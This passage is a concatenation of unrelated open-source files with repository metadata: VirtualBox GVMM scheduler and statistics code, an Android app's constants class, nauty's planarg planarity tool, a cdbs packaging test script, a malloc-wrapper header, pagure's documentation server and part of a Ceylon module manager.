!VALID_PTR(pGVMM) || pGVMM->u32Magic != GVMM_MAGIC) return; AssertMsgReturnVoid(iCpu < pGVMM->cHostCpus, ("iCpu=%d cHostCpus=%d\n", iCpu, pGVMM->cHostCpus)); PGVMMHOSTCPU pCpu = &pGVMM->aHostCpus[iCpu]; AssertMsgReturnVoid( pCpu->u32Magic == GVMMHOSTCPU_MAGIC && pCpu->idCpu == idHostCpu, ("u32Magic=%#x idCpu=% idHostCpu=%d\n", pCpu->u32Magic, pCpu->idCpu, idHostCpu)); /* * Check whether we need to do anything about the timer. * We have to be a little bit careful since we might be race the timer * callback here. */ if (uHz > 16384) uHz = 16384; /** @todo add a query method for this! */ if (RT_UNLIKELY( uHz > ASMAtomicReadU32(&pCpu->Ppt.uDesiredHz) && uHz >= pCpu->Ppt.uMinHz && !pCpu->Ppt.fStarting /* solaris paranoia */)) { RTSPINLOCKTMP Tmp = RTSPINLOCKTMP_INITIALIZER; RTSpinlockAcquireNoInts(pCpu->Ppt.hSpinlock, &Tmp); pCpu->Ppt.uDesiredHz = uHz; uint32_t cNsInterval = 0; if (!pCpu->Ppt.fStarted) { pCpu->Ppt.cStarts++; pCpu->Ppt.fStarted = true; pCpu->Ppt.fStarting = true; pCpu->Ppt.iTickHistorization = 0; pCpu->Ppt.uTimerHz = uHz; pCpu->Ppt.cNsInterval = cNsInterval = RT_NS_1SEC / uHz; if (cNsInterval < GVMMHOSTCPU_PPT_HIST_INTERVAL_NS) pCpu->Ppt.cTicksHistoriziationInterval = ( GVMMHOSTCPU_PPT_HIST_INTERVAL_NS + GVMMHOSTCPU_PPT_HIST_INTERVAL_NS / 2 - 1) / cNsInterval; else pCpu->Ppt.cTicksHistoriziationInterval = 1; } RTSpinlockReleaseNoInts(pCpu->Ppt.hSpinlock, &Tmp); if (cNsInterval) { RTTimerChangeInterval(pCpu->Ppt.pTimer, cNsInterval); int rc = RTTimerStart(pCpu->Ppt.pTimer, cNsInterval); AssertRC(rc); RTSpinlockAcquireNoInts(pCpu->Ppt.hSpinlock, &Tmp); if (RT_FAILURE(rc)) pCpu->Ppt.fStarted = false; pCpu->Ppt.fStarting = false; RTSpinlockReleaseNoInts(pCpu->Ppt.hSpinlock, &Tmp); } } #endif /* GVMM_SCHED_WITH_PPT */ } /** * Retrieves the GVMM statistics visible to the caller. * * @returns VBox status code. * * @param pStats Where to put the statistics. * @param pSession The current session. * @param pVM The VM to obtain statistics for. Optional. */ GVMMR0DECL(int) GVMMR0QueryStatistics(PGVMMSTATS pStats, PSUPDRVSESSION pSession, PVM pVM) { LogFlow(("GVMMR0QueryStatistics: pStats=%p pSession=%p pVM=%p\n", pStats, pSession, pVM)); /* * Validate input. */ AssertPtrReturn(pSession, VERR_INVALID_POINTER); AssertPtrReturn(pStats, VERR_INVALID_POINTER); pStats->cVMs = 0; /* (crash before taking the sem...) */ /* * Take the lock and get the VM statistics. */ PGVMM pGVMM; if (pVM) { PGVM pGVM; int rc = gvmmR0ByVM(pVM, &pGVM, &pGVMM, true /*fTakeUsedLock*/); if (RT_FAILURE(rc)) return rc; pStats->SchedVM = pGVM->gvmm.s.StatsSched; } else { GVMM_GET_VALID_INSTANCE(pGVMM, VERR_INTERNAL_ERROR); memset(&pStats->SchedVM, 0, sizeof(pStats->SchedVM)); int rc = gvmmR0UsedLock(pGVMM); AssertRCReturn(rc, rc); } /* * Enumerate the VMs and add the ones visible to the statistics. */ pStats->cVMs = 0; pStats->cEMTs = 0; memset(&pStats->SchedSum, 0, sizeof(pStats->SchedSum)); for (unsigned i = pGVMM->iUsedHead; i != NIL_GVM_HANDLE && i < RT_ELEMENTS(pGVMM->aHandles); i = pGVMM->aHandles[i].iNext) { PGVM pGVM = pGVMM->aHandles[i].pGVM; void *pvObj = pGVMM->aHandles[i].pvObj; if ( VALID_PTR(pvObj) && VALID_PTR(pGVM) && pGVM->u32Magic == GVM_MAGIC && RT_SUCCESS(SUPR0ObjVerifyAccess(pvObj, pSession, NULL))) { pStats->cVMs++; pStats->cEMTs += pGVM->cCpus; pStats->SchedSum.cHaltCalls += pGVM->gvmm.s.StatsSched.cHaltCalls; pStats->SchedSum.cHaltBlocking += pGVM->gvmm.s.StatsSched.cHaltBlocking; pStats->SchedSum.cHaltTimeouts += pGVM->gvmm.s.StatsSched.cHaltTimeouts; pStats->SchedSum.cHaltNotBlocking += pGVM->gvmm.s.StatsSched.cHaltNotBlocking; pStats->SchedSum.cHaltWakeUps += pGVM->gvmm.s.StatsSched.cHaltWakeUps; pStats->SchedSum.cWakeUpCalls += pGVM->gvmm.s.StatsSched.cWakeUpCalls; pStats->SchedSum.cWakeUpNotHalted += pGVM->gvmm.s.StatsSched.cWakeUpNotHalted; pStats->SchedSum.cWakeUpWakeUps += pGVM->gvmm.s.StatsSched.cWakeUpWakeUps; pStats->SchedSum.cPokeCalls += pGVM->gvmm.s.StatsSched.cPokeCalls; pStats->SchedSum.cPokeNotBusy += pGVM->gvmm.s.StatsSched.cPokeNotBusy; pStats->SchedSum.cPollCalls += pGVM->gvmm.s.StatsSched.cPollCalls; pStats->SchedSum.cPollHalts += pGVM->gvmm.s.StatsSched.cPollHalts; pStats->SchedSum.cPollWakeUps += pGVM->gvmm.s.StatsSched.cPollWakeUps; } } /* * Copy out the per host CPU statistics. */ uint32_t iDstCpu = 0; uint32_t cSrcCpus = pGVMM->cHostCpus; for (uint32_t iSrcCpu = 0; iSrcCpu < cSrcCpus; iSrcCpu++) { if (pGVMM->aHostCpus[iSrcCpu].idCpu != NIL_RTCPUID) { pStats->aHostCpus[iDstCpu].idCpu = pGVMM->aHostCpus[iSrcCpu].idCpu; pStats->aHostCpus[iDstCpu].idxCpuSet = pGVMM->aHostCpus[iSrcCpu].idxCpuSet; #ifdef GVMM_SCHED_WITH_PPT pStats->aHostCpus[iDstCpu].uDesiredHz = pGVMM->aHostCpus[iSrcCpu].Ppt.uDesiredHz; pStats->aHostCpus[iDstCpu].uTimerHz = pGVMM->aHostCpus[iSrcCpu].Ppt.uTimerHz; pStats->aHostCpus[iDstCpu].cChanges = pGVMM->aHostCpus[iSrcCpu].Ppt.cChanges; pStats->aHostCpus[iDstCpu].cStarts = pGVMM->aHostCpus[iSrcCpu].Ppt.cStarts; #else pStats->aHostCpus[iDstCpu].uDesiredHz = 0; pStats->aHostCpus[iDstCpu].uTimerHz = 0; pStats->aHostCpus[iDstCpu].cChanges = 0; pStats->aHostCpus[iDstCpu].cStarts = 0; #endif iDstCpu++; if (iDstCpu >= RT_ELEMENTS(pStats->aHostCpus)) break; } } pStats->cHostCpus = iDstCpu; gvmmR0UsedUnlock(pGVMM); return VINF_SUCCESS; } /** * VMMR0 request wrapper for GVMMR0QueryStatistics. * * @returns see GVMMR0QueryStatistics. * @param pVM Pointer to the shared VM structure. Optional. * @param pReq The request packet. */ GVMMR0DECL(int) GVMMR0QueryStatisticsReq(PVM pVM, PGVMMQUERYSTATISTICSSREQ pReq) { /* * Validate input and pass it on. */ AssertPtrReturn(pReq, VERR_INVALID_POINTER); AssertMsgReturn(pReq->Hdr.cbReq == sizeof(*pReq), ("%#x != %#x\n", pReq->Hdr.cbReq, sizeof(*pReq)), VERR_INVALID_PARAMETER); return GVMMR0QueryStatistics(&pReq->Stats, pReq->pSession, pVM); } /** * Resets the specified GVMM statistics. * * @returns VBox status code. * * @param pStats Which statistics to reset, that is, non-zero fields indicates which to reset. * @param pSession The current session. * @param pVM The VM to reset statistics for. Optional. */ GVMMR0DECL(int) GVMMR0ResetStatistics(PCGVMMSTATS pStats, PSUPDRVSESSION pSession, PVM pVM) { LogFlow(("GVMMR0ResetStatistics: pStats=%p pSession=%p pVM=%p\n", pStats, pSession, pVM)); /* * Validate input. */ AssertPtrReturn(pSession, VERR_INVALID_POINTER); AssertPtrReturn(pStats, VERR_INVALID_POINTER); /* * Take the lock and get the VM statistics. */ PGVMM pGVMM; if (pVM) { PGVM pGVM; int rc = gvmmR0ByVM(pVM, &pGVM, &pGVMM, true /*fTakeUsedLock*/); if (RT_FAILURE(rc)) return rc; # define MAYBE_RESET_FIELD(field) \ do { if (pStats->SchedVM. field ) { pGVM->gvmm.s.StatsSched. field = 0; } } while (0) MAYBE_RESET_FIELD(cHaltCalls); MAYBE_RESET_FIELD(cHaltBlocking); MAYBE_RESET_FIELD(cHaltTimeouts); MAYBE_RESET_FIELD(cHaltNotBlocking); MAYBE_RESET_FIELD(cHaltWakeUps); MAYBE_RESET_FIELD(cWakeUpCalls); MAYBE_RESET_FIELD(cWakeUpNotHalted); MAYBE_RESET_FIELD(cWakeUpWakeUps); MAYBE_RESET_FIELD(cPokeCalls); MAYBE_RESET_FIELD(cPokeNotBusy); MAYBE_RESET_FIELD(cPollCalls); MAYBE_RESET_FIELD(cPollHalts); MAYBE_RESET_FIELD(cPollWakeUps); # undef MAYBE_RESET_FIELD } else { GVMM_GET_VALID_INSTANCE(pGVMM, VERR_INTERNAL_ERROR); int rc = gvmmR0UsedLock(pGVMM); AssertRCReturn(rc, rc); } /* * Enumerate the VMs and add the ones visible to the statistics. */ if (ASMMemIsAll8(&pStats->SchedSum, sizeof(pStats->SchedSum), 0)) { for (unsigned i = pGVMM->iUsedHead; i != NIL_GVM_HANDLE && i < RT_ELEMENTS(pGVMM->aHandles); i = pGVMM->aHandles[i].iNext) { PGVM pGVM = pGVMM->aHandles[i].pGVM; void *pvObj = pGVMM->aHandles[i].pvObj; if ( VALID_PTR(pvObj) && VALID_PTR(pGVM) && pGVM->u32Magic == GVM_MAGIC && RT_SUCCESS(SUPR0ObjVerifyAccess(pvObj, pSession, NULL))) { # define MAYBE_RESET_FIELD(field) \ do { if (pStats->SchedSum. field ) { pGVM->gvmm.s.StatsSched. field = 0; } } while (0) MAYBE_RESET_FIELD(cHaltCalls); MAYBE_RESET_FIELD(cHaltBlocking); MAYBE_RESET_FIELD(cHaltTimeouts); MAYBE_RESET_FIELD(cHaltNotBlocking); MAYBE_RESET_FIELD(cHaltWakeUps); MAYBE_RESET_FIELD(cWakeUpCalls); MAYBE_RESET_FIELD(cWakeUpNotHalted); MAYBE_RESET_FIELD(cWakeUpWakeUps); MAYBE_RESET_FIELD(cPokeCalls); MAYBE_RESET_FIELD(cPokeNotBusy); MAYBE_RESET_FIELD(cPollCalls); MAYBE_RESET_FIELD(cPollHalts); MAYBE_RESET_FIELD(cPollWakeUps); # undef MAYBE_RESET_FIELD } } } gvmmR0UsedUnlock(pGVMM); return VINF_SUCCESS; } /** * VMMR0 request wrapper for GVMMR0ResetStatistics. * * @returns see GVMMR0ResetStatistics. * @param pVM Pointer to the shared VM structure. Optional. * @param pReq The request packet. */ GVMMR0DECL(int) GVMMR0ResetStatisticsReq(PVM pVM, PGVMMRESETSTATISTICSSREQ pReq) { /* * Validate input and pass it on. */ AssertPtrReturn(pReq, VERR_INVALID_POINTER); AssertMsgReturn(pReq->Hdr.cbReq == sizeof(*pReq), ("%#x != %#x\n", pReq->Hdr.cbReq, sizeof(*pReq)), VERR_INVALID_PARAMETER); return GVMMR0ResetStatistics(&pReq->Stats, pReq->pSession, pVM); }
dezelin/vbox-haiku
src/VBox/VMM/VMMR0/GVMMR0.cpp
C++
gpl-2.0
89,050
/** * */ package com.mobicongo.app.tours.utils; /** * @author Mishka * * this class will help to store basic URL, Basics methods and all basics values */ public class MyConstants { //Here the 10.0.2.2 is used because it localhost public static String BASE_URL="http://192.168.56.1:8080/mobitours/ws/"; public static final String REST_RESULT = "com.mobitours.android.REST_RESULT"; public static String myLocalURL/*="file:///android_asset/webapp.html"*/; public static final String url_get_all_geozone=MyConstants.BASE_URL+"get_all_geozone_in_db.php"; public static final String url_get_all_cities=MyConstants.BASE_URL+"get_all_cities_in_db.php"; public static final String url_get_all_hotel=MyConstants.BASE_URL+"get_all_hotel_in_db.php"; public static final String url_get_all_rating=MyConstants.BASE_URL+"get_all_rate_in_db.php"; public static final String url_get_all_courtier=MyConstants.BASE_URL+"get_all_courtier_in_db.php"; public static final String url_get_restaurant=""; public static final String url_get_sitenaturel=MyConstants.BASE_URL+"get_all_naturalsite_in_db.php"; public static final String url_get_pointofinterest=MyConstants.BASE_URL+""; public static final String url_get_all_image=MyConstants.BASE_URL + "get_all_images_in_db.php"; public static final String url_onInsert_new_comment=MyConstants.BASE_URL+"newcomments.php"; public static final String url_onInsert_new_rate=MyConstants.BASE_URL+"newrating.php"; //Variable to store the User ID of the current user public static int USER_ID; //JSON Nodes Name //City Table public static final String TAG_SUCCESS="success"; public static final String TAG_CITY="thecity"; public static final String tag_idcity="idcity"; public static final String tag_idzone="idzone"; public static final String tag_namecity="namecity"; public static final String tag_desc="desccity"; public static final String tag_latitude="latcity"; public static final String tag_longitude="lngcity"; public static final String tag_altitude="altcity"; }
MdelM/MobiTours
Android/MobiTours/src/com/mobicongo/app/tours/utils/MyConstants.java
Java
gpl-2.0
2,121
/* planarg : test for planarity and find embedding or obstruction */ #define USAGE "planarg [-v] [-nVq] [-p|-u] [infile [outfile]]" #define HELPTEXT \ " For each input, write to output if planar.\n\ \n\ The output file has a header if and only if the input file does.\n\ \n\ -v Write non-planar graphs instead of planar graphs\n\ -V Write report on every input\n\ -u Don't write anything, just count\n\ -p Write in planar_code if planar (without -p, same format as input)\n\ -k Follow each non-planar output with an obstruction in sparse6\n\ format (implies -v, incompatible with -p)\n\ -n Suppress checking of the result\n\ -q Suppress auxiliary information\n\ \n\ This program permits multiple edges and loops\n" /*************************************************************************/ #include "gtools.h" #include "planarity.h" /*************************************************************************/ static void write_planarcode(FILE *f, t_ver_sparse_rep *VR, t_adjl_sparse_rep *A, t_embed_sparse_rep *ER, int n, int ne) /* Write the embedding to f in planar_code */ { int bytes; size_t i,j,len,k,k0; unsigned int w; DYNALLSTAT(unsigned char,buff,buff_sz); #define PUT1(x) buff[j++]=(x); #define PUT2(x) w=(x); buff[j++]=(w>>8)&0xFF; buff[j++]=w&0xff; #define PUT4(x) w=(x); buff[j++]=(w>>24)&0xFF; buff[j++]=(x>>16)&0xff; \ buff[j++]=(w>>8)&0xFF; buff[j++]=w&0xff; if (n <= 255) bytes = 1; else if (n <= 65535) bytes = 2; else bytes = 4; len = bytes * (1 + n + 2*(size_t)ne); if (bytes == 2) len += 1; else if (bytes == 4) len += 3; DYNALLOC1(unsigned char,buff,buff_sz,len,"planarg"); if (bytes == 1) { j = 0; PUT1(n); for (i = 0; i < n; ++i) { k = k0 = VR[i].first_edge; if (k != NIL) do { PUT1(A[ER[k].in_adjl].end_vertex+1); k = ER[k].next; } while (k != k0); PUT1(0); } } else if (bytes == 2) { j = 0; PUT1(0); PUT2(n); for (i = 0; i < n; ++i) { k = k0 = VR[i].first_edge; if (k != NIL) do { PUT2(A[ER[k].in_adjl].end_vertex+1); k = ER[k].next; } while (k != k0); PUT2(0); } } else { j = 0; PUT1(0); PUT2(0); PUT4(n); for (i = 0; i < n; ++i) { k = k0 = VR[i].first_edge; if (k != NIL) do { PUT4(A[ER[k].in_adjl].end_vertex+1); k = ER[k].next; } while (k != k0); PUT4(0); } } if (fwrite((void*)buff,1,len,f) != len) { fprintf(stderr,">E write_planarcode : error on writing\n"); ABORT(">E write_planarcode"); } } /*************************************************************************/ static boolean isplanar(t_ver_sparse_rep *V, int n, t_adjl_sparse_rep *A, int e, int *c, t_ver_sparse_rep **VR, t_adjl_sparse_rep **AR, t_embed_sparse_rep **ER, int *nbr_e_obs, boolean planarcheck, boolean nonplanarcheck) /* The input graph is given as an adjacency list: V: array of vertices n: size of graph A: adjacency list e: number of edges If the graph is planar the embedding is stored in VR and ER; the embedding contains e edges (nbr_e_obs not used) If the graph is non planar the obstruction is returned in VR and AR together with the number of edges in nbr_e_obs. In all cases the number of components is return in c. planarcheck and nonplanarcheck determine if checking is done. The embedding and obstruction outputs are only made if the appropriate checking is done. */ { t_dlcl **dfs_tree, **back_edges, **mult_edges; int edge_pos, v, w; boolean ans; t_ver_edge *embed_graph; ans = sparseg_adjl_is_planar(V, n, A, c, &dfs_tree, &back_edges, &mult_edges, &embed_graph, &edge_pos, &v, &w); if (!ans && nonplanarcheck) { embedg_obstruction(V, A, dfs_tree, back_edges, embed_graph, n, &edge_pos, v, w, VR, AR, nbr_e_obs); } else if (planarcheck) { embedg_embedding(V, A, embed_graph, n, e, *c, edge_pos, mult_edges, VR, ER); } sparseg_dlcl_delete(dfs_tree, n); sparseg_dlcl_delete(back_edges, n); sparseg_dlcl_delete(mult_edges, n); embedg_VES_delete(embed_graph, n); return ans; } /*************************************************************************/ main(int argc, char *argv[]) { char *infilename,*outfilename; FILE *infile,*outfile; sparsegraph sg; boolean badargs; boolean verbose,nonplanar,quiet; boolean planarcode,nowrite,nocheck; int i,j,k,n,v,w,argnum,ne,loops; int codetype,outcode; t_ver_sparse_rep *VR; t_adjl_sparse_rep *AR; t_embed_sparse_rep *ER; int nbr_c,nbr_e_obs,size_A,pos_in_A; unsigned long nin,nout,nplan; char *arg,sw; double t0,tp,tnp,netotalp,netotalnp; DYNALLSTAT(t_ver_sparse_rep,V,V_sz); DYNALLSTAT(t_adjl_sparse_rep,A,A_sz); HELP; infilename = outfilename = NULL; badargs = FALSE; quiet = nowrite = planarcode = FALSE; verbose = nonplanar = nocheck = FALSE; argnum = 0; badargs = FALSE; for (j = 1; !badargs && j < argc; ++j) { arg = argv[j]; if (arg[0] == '-' && arg[1] != '\0') { ++arg; while (*arg != '\0') { sw = *arg++; SWBOOLEAN('v',nonplanar) else SWBOOLEAN('q',quiet) else SWBOOLEAN('V',verbose) else SWBOOLEAN('p',planarcode) else SWBOOLEAN('u',nowrite) else SWBOOLEAN('n',nocheck) else badargs = TRUE; } } else { ++argnum; if (argnum == 1) infilename = arg; else if (argnum == 2) outfilename = arg; else badargs = TRUE; } } if (badargs) { fprintf(stderr,">E Usage: %s\n",USAGE); exit(1); } if (planarcode && nonplanar) { fprintf(stderr,">E planarg: -p and -v are incompatible\n"); exit(1); } if (!quiet) { fprintf(stderr,">A planarg"); if (nonplanar||planarcode||nowrite||nocheck) fprintf(stderr," -"); if (nonplanar) fprintf(stderr,"v"); if (nowrite) fprintf(stderr,"u"); if (planarcode) fprintf(stderr,"p"); if (nocheck) fprintf(stderr,"n"); if (argnum > 0) fprintf(stderr," %s",infilename); if (argnum > 1) fprintf(stderr," %s",outfilename); fprintf(stderr,"\n"); fflush(stderr); } if (infilename && infilename[0] == '-') infilename = NULL; infile = opengraphfile(infilename,&codetype,FALSE,1); if (!infile) exit(1); if (!infilename) infilename = "stdin"; if (!nowrite) { if (!outfilename || outfilename[0] == '-') { outfilename = "stdout"; outfile = stdout; } else if ((outfile = fopen(outfilename,"w")) == NULL) { fprintf(stderr,"Can't open output file %s\n",outfilename); gt_abort(NULL); } if (planarcode) outcode = PLANARCODE; else if (codetype&SPARSE6) outcode = SPARSE6; else outcode = GRAPH6; if (outcode == PLANARCODE) writeline(outfile,PLANARCODE_HEADER); else if (codetype&HAS_HEADER) { if (outcode == SPARSE6) writeline(outfile,SPARSE6_HEADER); else writeline(outfile,GRAPH6_HEADER); } } nin = nout = nplan = 0; netotalp = netotalnp = 0.0; SG_INIT(sg); tp = tnp = 0.0; while (TRUE) { if (read_sg_loops(infile,&sg,&loops) == NULL) break; n = sg.nv; ne = (sg.nde+loops)/2; ++nin; DYNALLOC1(t_ver_sparse_rep,V,V_sz,n,"planarg"); DYNALLOC1(t_adjl_sparse_rep,A,A_sz,2*ne+1,"planarg"); k = 0; for (i = 0; i < n; ++i) if (sg.d[i] == 0) V[i].first_edge = NIL; else { V[i].first_edge = k; for (j = sg.v[i]; j < sg.v[i]+sg.d[i]; ++j) { A[k].end_vertex = sg.e[j]; A[k].next = k+1; ++k; if (A[k-1].end_vertex == i) /* loops go in twice */ { A[k].end_vertex = i; A[k].next = k+1; k++; } } A[k-1].next = NIL; } if (k != 2*ne) { fprintf(stderr,">E planarg: decoding error; nin=%lu\n",nin); fprintf(stderr,"n=%d nde=%d ne=%d loops=%d\n", n,sg.nde,ne,loops); exit(1); } VR = NULL; AR = NULL; ER = NULL; t0 = CPUTIME; if (isplanar(V,n,A,ne,&nbr_c,&VR,&AR,&ER,&nbr_e_obs, !nocheck||planarcode,!nocheck)) { ++nplan; tp += CPUTIME - t0; netotalp += ne; if (!nowrite && !nonplanar) { if (planarcode) write_planarcode(outfile,VR,A,ER,n,ne); else writelast(outfile); ++nout; } if (verbose) fprintf(stderr,"graph %lu: n=%d ne=%d planar\n", nin,n,ne); } else { tnp += CPUTIME - t0; netotalnp += ne; if (!nowrite && nonplanar) { writelast(outfile); ++nout; } if (verbose) fprintf(stderr,"graph %lu: n=%d ne=%d non-planar\n", nin,n,ne); } FREES(VR); FREES(AR); FREES(ER); } if (!nowrite) { if (!quiet) fprintf(stderr, ">Z %lu graphs read from %s, %lu written to %s; %3.2f sec.\n", nin,infilename,nout,outfilename,tp+tnp); } else { fprintf(stderr, " %9lu graphs input\n %9lu graphs planar\n",nin,nplan); fprintf(stderr," cpu = %3.2f sec. ",tp+tnp); if (netotalp) fprintf(stderr," planar:%.3f",1e5*tp/netotalp); if (netotalnp) fprintf(stderr," nonplanar:%.3f",1e5*tnp/netotalnp); fprintf(stderr,"\n"); } return 0; }
ecell/libmoleculizer
src/libmoleculizer/nauty/planarg.c
C
gpl-2.0
9,696
#!/bin/bash # -*- mode: sh; coding: utf-8 -*- # Copyright © 2003 Jeff Bailey <jbailey@debian.org> # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2, or (at # your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # Test a tarball autotools setup builddir != srcdir # Bring in the testsuite functions . testsuite_functions # Check any command line options options $@ # Setup the work environment setup_workdir # Create the debian/rules file cat <<EOF >$WORKDIR/debian/rules #!/usr/bin/make -f DEB_TAR_SRCDIR=autotools-test-0.1 DEB_BUILDDIR=\$(DEB_SRCDIR)/build include debian/testsuite.mk include \$(_cdbs_package_root_dir)/1/rules/debhelper.mk.in include \$(_cdbs_package_root_dir)/1/class/autotools.mk.in include \$(_cdbs_package_root_dir)/1/rules/tarball.mk.in EOF chmod +x $WORKDIR/debian/rules # Make sure tarball is in place for this test. test_tarballs cp tarballs/autotools-test-0.1.tar.gz $WORKDIR # Build the Package (This would've been hard to guess, right?) build_package # Clean up clean_workdir # If we made it this far, then we passed! return_pass
ebourg/cdbs
test/autotools-5.sh
Shell
gpl-2.0
1,577
#ifndef INCLUDED_XMALLOC_H #define INCLUDED_XMALLOC_H #ifndef __GNUC__ #define __attribute__(foo) #endif extern void *xmalloc (unsigned size); extern void *xzmalloc (unsigned size); extern void *xrealloc (void *ptr, unsigned size); extern char *xstrdup (const char *str); extern char *xstrndup (const char *str, unsigned len); //extern void *fs_get (unsigned size); //extern void fs_give (void **ptr); /* Functions using xmalloc.h must provide a function called fatal() conforming to the following: */ extern void fatal(const char *fatal_message, int fatal_code) __attribute__ ((noreturn)); #endif /* INCLUDED_XMALLOC_H */
bsapundzhiev/calipso
src/include/xmalloc.h
C
gpl-2.0
632
# -*- coding: utf-8 -*- """ (c) 2014-2016 - Copyright Red Hat Inc Authors: Pierre-Yves Chibon <pingou@pingoured.fr> """ from __future__ import unicode_literals, absolute_import import logging import os import flask import pygit2 from binaryornot.helpers import is_binary_string import pagure.config import pagure.doc_utils import pagure.exceptions import pagure.lib.mimetype import pagure.lib.model_base import pagure.lib.query import pagure.forms # Create the application. APP = flask.Flask(__name__) # set up FAS APP.config = pagure.config.reload_config() SESSION = pagure.lib.model_base.create_session(APP.config["DB_URL"]) if not APP.debug: APP.logger.addHandler( pagure.mail_logging.get_mail_handler( smtp_server=APP.config.get("SMTP_SERVER", "127.0.0.1"), mail_admin=APP.config.get("MAIL_ADMIN", APP.config["EMAIL_ERROR"]), from_email=APP.config.get( "FROM_EMAIL", "pagure@fedoraproject.org" ), ) ) # Send classic logs into syslog SHANDLER = logging.StreamHandler() SHANDLER.setLevel(APP.config.get("log_level", "INFO")) APP.logger.addHandler(SHANDLER) _log = logging.getLogger(__name__) TMPL_HTML = """ <!DOCTYPE html> <html lang='en'> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <style type="text/css"> ul {{ margin: 0; padding: 0; }} </style> </head> <body> {content} </body> </html> """ def __get_tree(repo_obj, tree, filepath, index=0, extended=False): """ Retrieve the entry corresponding to the provided filename in a given tree. """ filename = filepath[index] if isinstance(tree, pygit2.Blob): # pragma: no cover # If we were given a blob, then let's just return it return (tree, None, None) for element in tree: if element.name == filename or ( not filename and element.name.startswith("index") ): # If we have a folder we must go one level deeper if element.filemode == 16384: if (index + 1) == len(filepath): filepath.append("") return __get_tree( repo_obj, repo_obj[element.oid], filepath, index=index + 1, extended=True, ) else: return (element, tree, False) if filename == "": return (None, tree, extended) else: raise pagure.exceptions.FileNotFoundException( "File %s not found" % ("/".join(filepath),) ) def __get_tree_and_content(repo_obj, commit, path): """ Return the tree and the content of the specified file. """ (blob_or_tree, tree_obj, extended) = __get_tree( repo_obj, commit.tree, path ) if blob_or_tree is None: return (tree_obj, None, None) if not repo_obj[blob_or_tree.oid]: # Not tested and no idea how to test it, but better safe than sorry flask.abort(404, description="File not found") if isinstance(blob_or_tree, pygit2.TreeEntry): # Returned a file filename = blob_or_tree.name name, ext = os.path.splitext(filename) blob_obj = repo_obj[blob_or_tree.oid] if not is_binary_string(blob_obj.data): try: content, safe = pagure.doc_utils.convert_readme( blob_obj.data, ext ) if safe: filename = name + ".html" except pagure.exceptions.PagureEncodingException: content = blob_obj.data else: content = blob_obj.data tree = sorted(tree_obj, key=lambda x: x.filemode) return (tree, content, filename) @APP.route("/<repo>/") @APP.route("/<namespace>.<repo>/") @APP.route("/<repo>/<path:filename>") @APP.route("/<namespace>.<repo>/<path:filename>") @APP.route("/fork/<username>/<repo>/") @APP.route("/fork/<namespace>.<username>/<repo>/") @APP.route("/fork/<username>/<repo>/<path:filename>") @APP.route("/fork/<namespace>.<username>/<repo>/<path:filename>") def view_docs(repo, username=None, namespace=None, filename=None): """ Display the documentation """ if "." in repo: namespace, repo = repo.split(".", 1) repo = pagure.lib.query.get_authorized_project( SESSION, repo, user=username, namespace=namespace ) if not repo: flask.abort(404, description="Project not found") if not repo.settings.get("project_documentation", True): flask.abort(404, description="This project has documentation disabled") reponame = repo.repopath("docs") if not os.path.exists(reponame): flask.abort(404, description="Documentation not found") repo_obj = pygit2.Repository(reponame) if not repo_obj.is_empty: commit = repo_obj[repo_obj.head.target] else: flask.abort( 404, flask.Markup( "No content found in the repository, you may want to read " 'the <a href="' 'https://docs.pagure.org/pagure/usage/using_doc.html">' "Using the doc repository of your project</a> documentation." ), ) content = None tree = None if not filename: path = [""] else: path = [it for it in filename.split("/") if it] if commit: try: (tree, content, filename) = __get_tree_and_content( repo_obj, commit, path ) except pagure.exceptions.FileNotFoundException as err: flask.flash("%s" % err, "error") except Exception as err: _log.exception(err) flask.abort( 500, description="Unkown error encountered and reported" ) if not content: if not tree or not len(tree): flask.abort(404, description="No content found in the repository") html = "<li>" for el in tree: name = el.name # Append a trailing '/' to the folders if el.filemode == 16384: name += "/" html += '<ul><a href="{0}">{1}</a></ul>'.format(name, name) html += "</li>" content = TMPL_HTML.format(content=html) mimetype = "text/html" else: mimetype, _ = pagure.lib.mimetype.guess_type(filename, content) return flask.Response(content, mimetype=mimetype)
pypingou/pagure
pagure/docs_server.py
Python
gpl-2.0
6,488
/* * Copyright Red Hat Inc. and/or its affiliates and other contributors * as indicated by the authors tag. All rights reserved. * * This copyrighted material is made available to anyone wishing to use, * modify, copy, or redistribute it subject to the terms and conditions * of the GNU General Public License version 2. * * This particular file is subject to the "Classpath" exception as provided in the * LICENSE file that accompanied this code. * * This program is distributed in the hope that it will be useful, but WITHOUT A * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A * PARTICULAR PURPOSE. See the GNU General Public License for more details. * You should have received a copy of the GNU General Public License, * along with this distribution; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. */ package com.redhat.ceylon.compiler.loader.model; import java.util.Arrays; import java.util.LinkedList; import java.util.List; import com.redhat.ceylon.cmr.api.ArtifactResult; import com.redhat.ceylon.cmr.api.ImportType; import com.redhat.ceylon.cmr.api.JDKUtils; import com.redhat.ceylon.cmr.api.VersionComparator; import com.redhat.ceylon.common.Versions; import com.redhat.ceylon.compiler.loader.AbstractModelLoader; import com.redhat.ceylon.compiler.typechecker.analyzer.ModuleManager; import com.redhat.ceylon.compiler.typechecker.context.Context; import com.redhat.ceylon.compiler.typechecker.context.PhasedUnits; import com.redhat.ceylon.compiler.typechecker.model.Module; import com.redhat.ceylon.compiler.typechecker.model.ModuleImport; /** * ModuleManager which can load artifacts from jars and cars. * * @author Stéphane Épardaud <stef@epardaud.fr> */ public abstract class LazyModuleManager extends ModuleManager { public LazyModuleManager(Context ceylonContext) { super(ceylonContext); } protected void setupIfJDKModule(LazyModule module) { // Make sure that the java modules are set up properly. // Bad jdk versions will not be made available and the module validator // will fail to load their artifacts, and the error is properly handled by the lazy module manager in // attachErrorToDependencyDeclaration() String nameAsString = module.getNameAsString(); String version = module.getVersion(); if(version != null && AbstractModelLoader.isJDKModule(nameAsString)){ // substitute Java 8 for Java 7 if we're running on Java 8 if(JDKUtils.jdk == JDKUtils.JDK.JDK8 && version.equals(JDKUtils.JDK.JDK7.version)){ version = JDKUtils.JDK.JDK8.version; module.setVersion(version); } 